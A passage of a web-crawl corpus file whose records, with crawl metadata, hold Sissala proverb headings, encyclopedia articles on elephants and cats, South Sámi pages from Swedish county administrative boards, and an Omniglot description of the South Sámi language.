01SISSALA PROVERBES 02SISSALA PROVERBES 03Sɩŋsʋɔla Kɛnɔ 04Sɩŋsʋɔla Kɛnɔ 05Sɩŋsʋɔla Kɛnɔ 06Sɩŋsʋɔla Kɛnɔ 07Sɩŋsʋɔla Kɛnɔ 08Sɩŋsʋɔla Kɛnɔ 09Sɩŋsʋɔla Kɛnɔ 10Sɩŋsʋɔla Kɛnɔ 11Sɩŋsʋɔla kɛnɔ 12Sɩŋsʋɔla Kɛnɔ 15Sɩŋsʋɔla Kɛnɔ 18Sɩŋsʋɔla Kɛnɔ 21Sɩŋsʋɔla Kɛnɔ 22Sɩŋsʋɔla Kɛnɔ 23Sɩŋsʋɔla Kɛnɔ 24Sɩŋsʋɔla Kɛnɔ 25Sɩŋsʋɔla kɛnɔ 28Sɩŋsʋɔla kɛnɔ 30SISSALA PROVERBES 31 Ʋ tɩɩ nɛ́ mʋ́ sɩ́ɛ́","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/sissalawiai.net\/sld\/l%C3%AD%C5%8Bsi-ar%C9%A9%CC%81-f%C9%A9lm%C9%A9wa\/s%C9%A9%C5%8Bsaal%C9%A9%CC%81-s%C9%A9%CC%81%C5%8Bs%CA%8B%CC%81%C9%94%CC%81la-z%C3%A9s%C3%A9","date":"2023-05-30T07:02:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224645417.33\/warc\/CC-MAIN-20230530063958-20230530093958-00052.warc.gz","language":"sld","language_score":0.5667073727,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sld_Latn_score\": 0.5667073726654053, \"dop_Latn_score\": 0.1985820233821869, \"bov_Latn_score\": 0.04541841521859169, \"kkj_Latn_score\": 0.03228828310966492, \"kqs_Latn_score\": 0.029407726600766182, \"yat_Latn_score\": 0.015572947449982166, \"sig_Latn_score\": 0.011529033072292805}","num_words":67,"character_repetition_ratio":0.265,"word_repetition_ratio":0.466,"special_characters_ratio":0.225,"stopwords_ratio":0.149,"flagged_words_ratio":0.0,"lang_id_score":0.854,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Áŋgírá ka̱nsʉkwǎ saasuŋá appáŋa gé ǎl kee sʉʉrʉ́. Na áŋgírá'ŋ toŋ'íŋkwa lóóŋá a̱w-lé ka̱ɨŋ Aprɨ́gɨa'ŋ áŋgírá (Loxodonta africanus), na Ásia'ŋ áŋgírá (Elephas maximus) . Aprɨ́gɨa'ŋ áŋgíráŋ keya báŋ ín jwa âl yeeŋ gé ná ka̱ɨŋ sʉʉrʉ́'ŋ karába kerŋa'ŋ dɨó. Na dɨ́eŋ kʉrrɨŋ míŋ katab-lé péégéli na nii gé mitira oŋŋal péégéli, na dééŋ dɨrrɨŋ 7,000 kg péégél. Na Hɨ̂ndɨ́ŋ áŋgír'íŋ kʉrrɨŋ dog míŋ katab-lé péégéli na nii ge mitira ɨɨs wala oos péégéli na dɨ́eŋ dɨrrɨŋ namá 5,000kg gé.\nÁŋgír'íŋ a̱rɨ́ suŋŋâ waarkʉŋo bá dɨ́eŋ dǒrmi-ii. Na a̱rɨ́ waarkʉŋo yé dǒrmi kurrâ ila-ii ǎl-si bonde íríkʉŋo-lé tɨél. Áŋgírá'ŋ kɨ́eŋ kǒrmi kurrâŋa ila-lés táárí pii ǎl-si kíe karába tiêli ná jâmma aame.\nÁŋgírá dog-si zaaba ka̱ɨŋ. Na kɨ́eŋ zaaba namá kila kagi kurrâŋakwǎ gé ǎl zogome íríkwǎ-les tɨɨlɨ. Na aaja suŋŋâ bá áŋgíráŋ zaaba-lé kúreli. Áŋgíráŋ zaaba tárráŋa gé ɨdɨ́ɨ̂ŋ nás kwa kíe ótá jammáila kawe,na aaj'íŋ sabba mandányaŋa áŋgírá saasuŋâ ka̱wŋi,namá iláíŋi ná naa áŋgíráŋ awla murul'íŋ paál eŋa.\nNyét Aprɨ́gɨa'ŋ namáŋ Ásia'ŋ áŋgírá jaluŋtoŋ'íŋ jágíŋijuúŋ-lé ka̱ɨŋ, ɨdɨ́ɨ̂ŋ nás kwa awla kawe da̱rrɨbɨŋíŋ wala gal kɨ́eŋ zaaba'ŋ na nɨ́nó'ŋ. Áŋgírá naa murul'íŋ dorá'ŋ jaáno bʉ́lé-le ka̱ɨŋ ná ba̱rʉ bi ba̱rʉ dɨ́eŋ lóot ǎl baa yeeŋ ka̱ɨŋ. Bá̱rʉ́ŋásuŋŋâŋdɨo'ŋ Daarates Jeterêŋkarába'ŋ Íríjaa Aprɨ́gɨa'ŋ áŋgírá-sís gánníníŋ piá nyét ǎl nii gé 440,000, na Ásia'ŋ áŋgírá gal ǎl nii gé 45,000.\nÁŋgírá suur'íŋ rukkâba gé dɨ́eŋ jɨ́wɨ-lé naŋ-si suur'íŋja̱lɨ́ŋ páálítía, naŋ jɨ́wɨ ila ǎl gis dog páálíti koróriâ namáŋ dolpîn-lé. Áŋgírá jaluŋtoŋ'íŋ táas-lé ín-si kɨ́wɨe âl yeeŋ gé nás tááríŋa̱rɨ táárí pii. Ásia'ŋ áŋgírá ín-si lóŋitía ǎl-si kargáŋá-sí jâ̱ɨŋeli ná káwíŋjʉrrʉ̌ŋ pii.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/incubator.wikimedia.org\/wiki\/Wp\/fvr\/%C3%81%C5%8Bg%C3%ADr%C3%A1","date":"2024-04-20T01:10:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817463.60\/warc\/CC-MAIN-20240419234422-20240420024422-00191.warc.gz","language":"sld","language_score":0.4090722501,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sld_Latn_score\": 0.40907225012779236, \"lln_Latn_score\": 0.09285066276788712, \"poi_Latn_score\": 0.051261335611343384, \"usa_Latn_score\": 0.04590673744678497, \"dur_Latn_score\": 0.040265269577503204, \"gna_Latn_score\": 0.03645850718021393, \"cbv_Latn_score\": 0.02804594673216343, \"mig_Latn_score\": 0.027740515768527985, \"etu_Latn_score\": 0.02351493202149868, \"vut_Latn_score\": 0.022049691528081894, \"dsh_Latn_score\": 0.014877613633871078, \"log_Latn_score\": 0.013500076718628407, \"kgf_Latn_score\": 0.012281964533030987, \"pfe_Latn_score\": 0.010397744365036488}","num_words":254,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.02,"flagged_words_ratio":0.0,"lang_id_score":0.422,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Biís (Felis Catus) yé elle'ŋ biís jaluŋtog ittî nɨ́nójâmkwǎ na ka̱nsʉkwǎ lé-ii. Na yé bá délliŋ elle'ŋ biís jaluŋtog-ii Felidae'ŋ aala-lé. Biísá-sí suŋŋâŋere toŋa-lé in ká̱ɨ́lɨ âl karâb-máne-ii, maraŋ biísá dog taga dááríŋ na hamîla ɨ́ndélíŋá. Kila ǎl elle'ŋ biísá ge kwa kí assó ká̱ɨ́lɨ ná ampárakwe kɨ́eŋ kʉrro'ŋ ʉʉ́ŋ ǎl taga (takka) karába ja̱ssɨkwǎ-sí ɨwre. Niin asá 60 biísiŋ kólá kʉmmé kí biísáŋ rɨmmɨŋ karába suŋŋâ'ŋ dɨó. Niná 2021, híllâ gánníneŋ jáaŋa ka̱ɨ́ŋ áláŋ 220 míri pa̱a̱gʉl ná kwa'ŋ dóŋa ɨŋɨ, na 480 míri nás biísá hamíla ká̱ɨ́ŋá da̱ldɨ́ŋ dɨó.\nKí tin kurrâ ǎl-si beto in-si ka̱lʉŋɨ̂ŋɨ âl biísáŋ elle'ŋ jeeŋ âl-si míŋ Ma̱sɨr toy-lé tuuŋa, ǎl déé-le biísás ba̱gɨ́ŋjaní kǎ̱ɨ́ŋ míŋ áláŋ dákkiŋ dii 3100 Ísa'ŋ waar, maraŋ jʉrgʉ́ló ka̱rɨkʉŋo kʉlʉ́ŋá'ŋjɨ́wɨ́ na dɨɨrɨ́eŋjɨ́wɨ-lé in-si páálí dɨ́eŋ elle'ŋ jeeŋ âl-si Ásia Dʉ́gʉ́-lé tuuŋa dákkiŋ áláŋ 7500 Ísa'ŋ waar.\nBiís bá toglóŋ suur'íŋjurgúŋó-le na yé biís Felid'íŋ aala lé-ii naŋ jaluŋtog gé. Yé suur ka̱kkɨ́re na dʉrtês kee, naŋ-si waarwaar ja̱ɨŋel, na kage sikká, na goobeŋa ka̱rá̱gá̱ kee. Na ilaiŋ-si jɨ́wlɨ́ŋíe áláŋ kɨ́eŋ rimmeŋa dokkéŋa ɨɨrʉ. Dééŋ luul'íŋ ja̱gɨl jimaŋ'íŋ ja̱ɨm-lé suŋŋâ kakkɨ́ré ge. Kí ilaiŋ ǎl biís jɨ́sɨ́ŋo'ŋ jalutog-ii, bá maraŋ yé awla dítin pii. Na in ǎl yé kerŋa'ŋjâmdʉŋo-ii, yé saasuŋŋá riyá lá̱ɨ́ŋ kí subu'ŋ síj na arra. Yé taga arkaŋa kit kelaam ná dʉldɨ́ŋkwě kel á aamba, inná kila ǎl kʉ́tɨ́ na karába ka̱nsʉkwǎ kerŋa pɨe.\nBiís'iŋ pârne elle'ŋ biísáŋ kwǎ'ŋ da̱a̱rɨŋ-lé míŋ kí uŋâŋ namaŋ áláŋ taáŋ ǎ̱rɨ kí jaaruŋa suúrarrá a̱wɨ, lóóŋá dǐŋáŋ dɨ́eŋ addi a̱w namaŋ áláŋ oos pa̱a̱gʉl ǎl kɨrel. Elle'ŋ biísá yeeŋ jʉrnyóŋ gé ná lóŋíntía jállíŋá dɨó in ǎl rɨmmɨŋ-lé kayé dóláŋiŋgaár'íŋ biísá-le. Kwa'ŋdiigiŋíŋjasi biísá-le mat níŋ suúr ká̱rɨ́ kí baaru'ŋjáa na ture'ŋjáa, maraŋ biís karâbmáne'ŋ jeeŋ'íŋ-ii suŋŋâŋ ere na jʉrnyóŋ jundí biísá hamîla'ŋ sʉŋŋɨŋ-lé lóóŋóla da̱ldɨ́ŋ dɨó. Na día, ka̱nsʉkwǎ na karâba kosoota'ŋ jaluŋtog'íŋ múúneŋjeeŋ wala pááneŋjeeŋ nyét-sís dóŋányiítía.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/incubator.wikimedia.org\/wiki\/Wp\/fvr\/Bi%C3%ADs","date":"2024-04-14T14:15:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296816879.72\/warc\/CC-MAIN-20240414130604-20240414160604-00291.warc.gz","language":"sld","language_score":0.3880524039,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sld_Latn_score\": 0.38805240392684937, \"lln_Latn_score\": 0.08599294722080231, \"dur_Latn_score\": 0.05146775767207146, \"cbv_Latn_score\": 0.04681824892759323, \"vut_Latn_score\": 0.04457790032029152, \"lmp_Latn_score\": 0.03801877051591873, \"dsh_Latn_score\": 0.034662891179323196, \"mcu_Latn_score\": 0.03187953680753708, \"ker_Latn_score\": 0.021843016147613525, \"sil_Latn_score\": 0.021697379648685455, \"sba_Latn_score\": 0.01783991977572441, \"log_Latn_score\": 0.01708659715950489, \"gna_Latn_score\": 0.01656578667461872, \"mig_Latn_score\": 0.01380128227174282, \"pfe_Latn_score\": 0.01059861108660698}","num_words":303,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.013,"flagged_words_ratio":0.0,"lang_id_score":0.382,"perplexity_score":500.0,"cluster_detection":-1} diff --git a/sld_Latn/fineweb-2_000001_stas.jsonl b/sld_Latn/fineweb-2_000001_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..38999c18bd4e4390425e27663cce242eb0155ab7 --- /dev/null +++ b/sld_Latn/fineweb-2_000001_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 196.93333333333334, + "character_repetition_ratio": 0.05486666666666667, + "word_repetition_ratio": 0.03106666666666667, + "special_characters_ratio": 0.24573333333333336, + "stopwords_ratio": 0.21866666666666665, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.8925333333333332, + "perplexity_score": 500.0 + } + }, + { + "std": { + "num_words": 217.83922715821612, + "character_repetition_ratio": 0.06741401107254255, + "word_repetition_ratio": 0.11624082281577712, + "special_characters_ratio": 0.019402634414486666, + "stopwords_ratio": 0.10064171876292433, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.1959601546800324, + "perplexity_score": 0.0 + } + }, + { + "median": { + "num_words": 67.0, + "character_repetition_ratio": 0.053, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.248, + "stopwords_ratio": 0.229, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.968, + "perplexity_score": 500.0 + } + }, + { + "max": { + "num_words": 778.0, + "character_repetition_ratio": 0.265, + "word_repetition_ratio": 0.466, + "special_characters_ratio": 0.288, + "stopwords_ratio": 0.416, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "min": { + "num_words": 47.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.217, + "stopwords_ratio": 0.013, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.382, + "perplexity_score": 500.0 + } + }, + { + "90%": { + "num_words": 494.6, + "character_repetition_ratio": 0.10819999999999999, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.26780000000000004, + "stopwords_ratio": 0.3064, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "75%": { + "num_words": 278.5, + "character_repetition_ratio": 0.066, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.2575, + "stopwords_ratio": 0.27449999999999997, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.999, + "perplexity_score": 500.0 + } + }, + { + "50%": { + "num_words": 67.0, + "character_repetition_ratio": 0.053, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.248, + "stopwords_ratio": 0.229, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.968, + "perplexity_score": 500.0 + } + }, + { + "25%": { + "num_words": 54.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.2315, + "stopwords_ratio": 0.1875, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9415, + "perplexity_score": 500.0 + } + }, + { + "total size": "15", + "keep size": "11", + "remove size": "4" + } +] \ No newline at end of file diff --git a/sma_Latn/fineweb-2_000001_keep.jsonl b/sma_Latn/fineweb-2_000001_keep.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..9a8177df53040b2cf8a30362158c4ec69ac57b05 --- /dev/null +++ b/sma_Latn/fineweb-2_000001_keep.jsonl @@ -0,0 +1,2764 @@ +{"text":"Lïeneståvroe lea joekoen sijjie demokratijen systemisnie ihke mijjieh libie lïngke almetji jïh tjïelti jïh reeremen, rijhkebiejjien jïh jarnges reeremi gaskem. Sveerje lea 21 lïenh juakeme. Gaajhkh lïeni lea lïeneståvroe jïh lïeneåajvaladtje. Lïeneståvroe lea staateles, ektiedimmie reereme man dïedte lea vaaksjome. Mijjieh libie aaj servisereereme jïh maahtah mijjese klååkedh.\nLïeneståvroen lea jïjnjh bïelieh, jeenjemes Sveerjen reeremijstie. Mijjen dïedte jïh mijjen maahtoe lea abpe sïebredahkesuerkiem. Mijjen luvnie lea juristh, biologh, arkitekterh, jägmiesterh, ingenjörh, bïevnesæjjah, arkelogerh, veterinærerh, sïebredahkedaejrijh, kultuvredaejrijh jïh ekonomerh.\nMijjen ulmie lea hijven servisem utnedh, gaahpoes årrodh jïh reaktavihties vuekiem ussjedidh. Guktie sïebredahkem jeatjahdehtedh krïevemh jeanadidh mijjiem jaksedh. Lïeneståvroe dïenesjh evtede mah prijvatealmetjidie jïh åårganisasjovnide nuepiem vedtieh dej darjomh darjodh gåessie jïh gustie dah sïjhtieh.\nDah elektrovneles dïenesjh gelkieh aelhkies dutnjien nåhtadidh jïh lïeneståvroen jijtsje gïetedimmiem aelhkebe darjodh.\nDennie tjaalegisnie datne åadtjoeh jienebe daejredh mejnie mijjieh barkeminie jïh mannasinie mijjieh dam darjobe. Datne åålegh maahtah dov lïeneståvroen gåajkoe bieljelidh gyhtjelassine jïh vuajnojne.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.lansstyrelsen.se\/vasternorrland\/SMA\/Pages\/default.aspx","date":"2013-06-19T23:22:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368709805610\/warc\/CC-MAIN-20130516131005-00032-ip-10-60-113-184.ec2.internal.warc.gz","language":"sma","language_score":1.0000050068,"language_script":"Latn","minhash_cluster_size":92,"top_langs":"{\"sma_Latn_score\": 1.0000050067901611}","num_words":150,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.16,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bigkeme-geehteme\nBigkeme-geehteme lea bielie lïeneståvroen guhkiem barkoste ihke lïenen kultuvrebyjresem gorredidh. Lïeneståvroe gïetede bigkeme-geehtemedåarjoe jïh dåarjoe laanteburrien gåetieh dåvvodh jïh bueriedidh.\nBigkeme-geehtemedåarjoe\nJis bigkemh edtjieh dej kultuvrehistovrijen vierhtieh gorredidh lea vihkeles dejtie geehtedh jïh dåvvodh jïh jis sæjhta jeatjahdehteh, tjuara dam darjodh fïerhten gåetien tsiehkijste. Dïhte lea aaj vihkeles kultuvrehistovrijen materijalijste nuhtjedh jïh vuekieh guktie bigkemi karakteerem jïh vuajnoem gorredidh seammasïenten tradisjovnellen vætnoem vaarjelidh.\nAktegs almetje, tjïelth, stiftelserh jïh bolagh maehtieh staaten dåarjoem lïeneståvroste ohtsedidh jis sæjhta kultuvrehistovrijes vierhtegs bigkemh geehtedh, guktie gohtje bigkeme-geehtemedåarjoe. Barkoe maam dovreskåbpoe goh sïejhme maahta bieleste dåarjoen tjïrrh maeksedh, mijjieh maehtebe 50-90 prosenth vedtedh dejstie bijjiemaaksoste mij lea kultuvrehistovrijes skreejreme.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.lansstyrelsen.se\/vasterbotten\/SMA\/samhallsplanering-och-kulturmiljo\/byggnadsvard\/Pages\/default.aspx","date":"2013-06-19T14:45:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368708808740\/warc\/CC-MAIN-20130516125328-00057-ip-10-60-113-184.ec2.internal.warc.gz","language":"sma","language_score":1.0000016689,"language_script":"Latn","minhash_cluster_size":43,"top_langs":"{\"sma_Latn_score\": 1.0000016689300537}","num_words":104,"character_repetition_ratio":0.109,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.115,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"South Sámi is a Western Sámi language spoken in parts of Norway and Sweden, particularly in the municipalities of Snåsa and Hattfjelldal in Norway, by about 600 of the 2,000 of so Southern Sámi people. South Sámi as two dialects: northern and southern, with only small differences between them.\nThe South Sámi orthography currently in use was approved by the Sámi Language Board in 1976. Only a few books have been published South Sámi, including South Sámi-Norwegian dictionary.\nSouth Sámi is taught in nursery and primary schools in Snåsa and Hattfjelldal, and efforts are being made to widen its use.\n|A a||B b||D d||E e||F f||G g||H h||I i||J j||K k||L l||M m|\n|a||be||de||e||æf\/äf||ge||hå||i||je||kå||æl\/lä||æm\/äm|\n|N n||O o||P p||R r||S s||T t||U u||V v||Y y||Æ æ||Ø ø||Å å|\n|æn\/än||o||pe||ær\/är||æs\/äs||te||u||ve||y||æ\/ä||ø\/ö||å|\nVuelie hov aalka buerkiestidh gåmmebem, Aanna, jïh fierhten beajjetje guvviem dej guaktaj jielemisnie lea. Iemie deahpadimmieh, tjelmiej uvte guvvieh båetieh, guktie govltelæjja vuajna guktie Aanna lea gåetesne nosseminie, dållem nastehteminie. Altese sijjiem dej guaktaj ektievyösemisnie daennie dajvesne, altese barkoem, gåetieiemedine. Jïh seammaaejkien joejkije måjhta guktie jïenehke lea tsoevtsesne jårreminie. Mijjieh hov aerviedibie lea buaredh jïh baahke giesiebiejjen, ihke bovtse bijjene vaeresne jårreminie gårmaj laaremistie. Dagke mujhtehte bovtsem gosse vuajna govnh jïh sjïjlh seamma laakan bïjre svïhtjeminie, jårreminie gosse nastehte. Jis naan aejkien nimhtie tjahkesjamme dållen sjïjlide giehtjedamme, dellie hov aelhkie guarkedh magkarine damtesisnie jïh meanosne Næjla Meehte lij, raaktan goh sealoe geavoemisnie gosse gïehtjede sjïjlh jårreminie. Aelhkebe aaj baajedh åssjalommeside juhtiehtidh gosse nimhtie tjahkesjen, jïh hævvi aaj vualan skejkiehtidh dagkarine domtesisnie.\nSome of the information on this page was supplied by 이윤호\nInformation about South Sámi\nhttp:\/\/en.wikipedia.org\/wiki\/Southern_Sami_language\nSørsamisk ordbok (South Sámi dictionary)\nhttp:\/\/giellatekno.uit.no\/words\/dicts\/index-sma.nno.html\nSørsamisk grammatikk (South Sámi grammar)\nhttp:\/\/www.risten.no\/bakgrunn\/gram\/sma\/index.html\nLanguage learning materials for South Sámi\nhttp:\/\/www.statped.no\/moduler\/templates\/Module_Overview.aspx?id=22303&epslanguage=NO\nHosted by Kualo","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/omniglot.com\/writing\/southsami.htm","date":"2013-12-06T09:18:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163051139\/warc\/CC-MAIN-20131204131731-00091-ip-10-33-133-15.ec2.internal.warc.gz","language":"sma","language_score":0.9627578855,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.9627578854560852, \"sme_Latn_score\": 0.030658628791570663}","num_words":284,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.046,"flagged_words_ratio":0.0,"lang_id_score":0.961,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Byjreseulmieh\nGuvvie: Oskar Norrgrann\nLeeneståvroe lea barkoem åådtjeme regionalen barkoem iktedidh juktie sveerjen byjreseulmide jaksedh.\nRïjhkebiejjie lea sjæjsjalamme tjåenghkies byjresepolihtihkem tjïrkes Sveerje. Byjresepolitihken bijjemes ulmie lea båetije boelvese edtjebe sïebredahkem vedtedh gusnie dah stoerre byjresedåeriesmoerh leah noeleme, destie eah jeanadamme byjrese- jïh healsoedåeriesmoerh båetieh Sveerjen raasti ålkolen. Boelveulmien lissine 16 nasjovnellen byjresekvalitehteulmieh jïh 72 nasjovnellen bielieulmieh gååvnesieh.\nLeeneståvroen iktedimmie råalle dennie regionalen barkosne byjreseulmiejgujmie. Mijjieh barkebe tjïelti, jielemi, organisasjovni jïh ovmessie aktööri ektesne juhkoe dejtie byjreseulmide leenesne tjïrrehtidh jïh byjrese edtja buaranidh. Mijjieh aaj byjresebarkoem dåeriedibie.\nDah 16 nasjonellen byjresekvalitehteulmieh leah:\n- Klimatedïjpemem gaertjiedidh\n- Friskes elmie\n- Ajve iemie såvroenimmie\n- Daalhkeshfrïjjes byjrese\n- Ozone-gïerts mij vaarjelidh\n- Vihties gadtjijh-byjrese\n- Ij naan bijjiegödninge\n- Jielije jaevrieh jïh tjaetsie\n- Våarometjaetsie hijven kvalitehtine\n- Hijven mearoe jïh jielije gaedtie jïh skärgårde\n- Lovveseatnemisnie verkiestieh\n- Jielije skåajjh\n- Ræjhkoes sjædtoeeatneme\n- Tjaebpies vaeriebyjrese\n- Hijven bigkeme byjrese\n- Ræjhkoes sjædtoe- jïh juvrejielede","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.lansstyrelsen.se\/vasternorrland\/SMA\/miljo-och-klimat\/miljomal\/Pages\/default.aspx","date":"2014-03-12T03:22:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394021251996\/warc\/CC-MAIN-20140305120731-00038-ip-10-183-142-35.ec2.internal.warc.gz","language":"sma","language_score":0.9999831915,"language_script":"Latn","minhash_cluster_size":42,"top_langs":"{\"sma_Latn_score\": 0.9999831914901733}","num_words":134,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.104,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Beetnegh deponeredh\nGuvvie: Länsstyrelsen Jämtlands län \/ Ola Ljungqvist\nLïeneståvroe maahta dov beetnegh deponeredh sjïere kontosne, dïhte sæjhta jiehtedh vaeltedh jïh våarhkodh beetnegh mah datne edtjh guhtese maeksedh.\nLeejjememaaksoem deponeredh\nGosse gåetiem leejjedh maahtah såemies aejkien leejjememaaksoem vaeniedidh jïh dam bieliem depnoeredh lïeneståvrosne, vuesiehtimmien gaavhtan jis mïelh dov lea reakta dov leejjememaaksoem vaeniedidh dan gaavhtan fïejlh gååvnesieh dov leejjemegåetesne. Jis idien leejjememaaksojne sïemedh. Dïhte mij lea hijven leejjememaaksoem lïeneståvrosne deponeredh jis mohtedh ih dam maeksieh, dellie dov gåetieiemie ij maehtieh jiehtedh leejjemereaktam orrijidh. Datne ih tjoerh juhtedh juktie lejjemereaktam orrije dan gaavhtan datne ih leah maakseme. Mohte leejjemereakta maahta orrijidh jis datne dan stoerre bieliem leejjememaaksoste deponeredh, vuesiehtimmien gaavhtan abpe maaksoem jis ih barre akte tjïehtjelem golmetjïehtjelegåetesne maehtieh nuhtjedh. Leejjemereaktam aaj orrije jis datne beetnegh deponeredh minngemes maeksemebiejjien mænngan.\nArrendem deponeredh\nGoh arrendatorijinie datne maahtah såemies aejkien arrendemaaksoem vaenieidh jïh dam maaksoem lïeneståvrosne deponeredh. Dïhte maaksoe tjuara seamma stoerre goh vierhtiem maam datne mïelh dïsse dov lea reakta. Dïhte maahta vuesiehtimmien gaavhtan lea dan bïjre datne mïelh dov lea reakta maaksoem åadtjodh skaaren åvteste jallh ih eakerem sïemedh man jïjnh edtjh maeksedh. Dïhte mij lea hijven arrendemaaksoem lïeneståvrosne deponeredh jis mohtedh ih dam maeksieh, dellie dov jåartaeakere ij maehtieh jiehtedh arrendereaktam orrijidh, jïh datne reaktam sæjjan dassedh. Mohte arrendereakta maahta orrijidh jis datne dan stoerre bieliem arrendemaaksoste deponeredh, vuesiehtimmien gaavhtan abpe arrendemaaksoem jis ajve göökteluhkiebieliem arrendesijjien jåartijste lea vyjreme. Arrendereaktam aaj orrije jis datne beetnegh deponeredh minngemes maeksemebiejjien mænngan.\nVihtiesvoete åadjodh deponeredh\nJuktie datne goh leejjemeguessien jallh arrendatorijinie galkh beetnegh deponeredh lïeneståvrosne datne tjoerh vihtiesvoetem buekteh hammoesne pantine jallh borgengaskesinie. Vihtiesvoete galka gaptjedh reaktaaamhtesemaaksoem jïh seenterenterh jïh leejjemeiemie jallh jåarteeakere dåapmestovlen mietie reaktam åådtje dah deponereme maaksoem.\nMaaksoe jis aktierh noerhken åasteme\nGosse aktierh sjïdtin noerhken åasteme maahta ovtjïelkes gien jallh giej leah, jallh dah aktieeakerh eah sïjhth maaksoem vaeltedh (vierhtiem dehtie aktierijste). Dellie maahta maaksoem lïeneståvrosne deponeredh, mij lea \"nedsättning av lösenbelopp\". Juktie datne goh aktieeakarinie dan mænngan edtjh maehtieh bieliem maaksojste åadtjodh datne aktieprieviem jallh vierhtiepaehpereavijnem mijjese seedtedh.\nVåålesebiejeme beetnegijstie reeremisnie såemies aejkien\nJis datne giem akt lååjkedh maahtah såemies aejkien beetnegidie lïeneståvrosne deponeredh. Dïhte lea gosse datne ih daejrieh giem edtjh maeksedh jallh jis dïhte giese datne edtjh maeksedh nyöjhkedh dejte vaeltedh. Dov laajkoem lea dellie maakseme jis naan njoelkedassh laaken mietie lea dorjeme.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.lansstyrelsen.se\/jamtland\/SMA\/manniska-och-samhalle\/deponera-pengar\/Pages\/default.aspx","date":"2014-03-10T00:43:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394010509865\/warc\/CC-MAIN-20140305090829-00001-ip-10-183-142-35.ec2.internal.warc.gz","language":"sma","language_score":1.0000054836,"language_script":"Latn","minhash_cluster_size":44,"top_langs":"{\"sma_Latn_score\": 1.0000054836273193}","num_words":376,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.064,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bïjle murhkeme\nDïhte gien lea bïjlemurhkemesïelte tjuara dåhkasjehteme orreme (auktorisereme) lïeneståvroste lïenesne gusnie darjome voestemes gååvnese. Mijjieh vaaksjobe tseegkeldahkem tjïelten byjresekrievemh jaksa jïh ohtsije lea bigkemeluhpie tseegkeldahkese jïh luhpie darjomasse.\nBïjlemurhkemenjoelkedassh gååvnesieh bilskrotningsförordningen (SFS 2007:186), jïh dan mietie edtja sijjie gusnie bïjlemurhkeme bååstide biejedh jis jïh gåessie darjome orrijidh. § 35:sne aaj tjåådtje lïeneståvroe maahta krievedh vihtiesvoetem dejtie barkojde mah daarpesje. Jeenjemes lïenine baangkegarantijem daarpesje, dam ryöknie fordonelåhkoste mij seammasienten våarhkosne åådtje årrodh.\nDåastovesijjieh\nBåeries bïjleh maehtieh auktorisereme bïjlemurhkijasse jallh dåastovesæjjan buektedh, dïhte sæjhta jiehtedh sijjiem maam produsenth lea 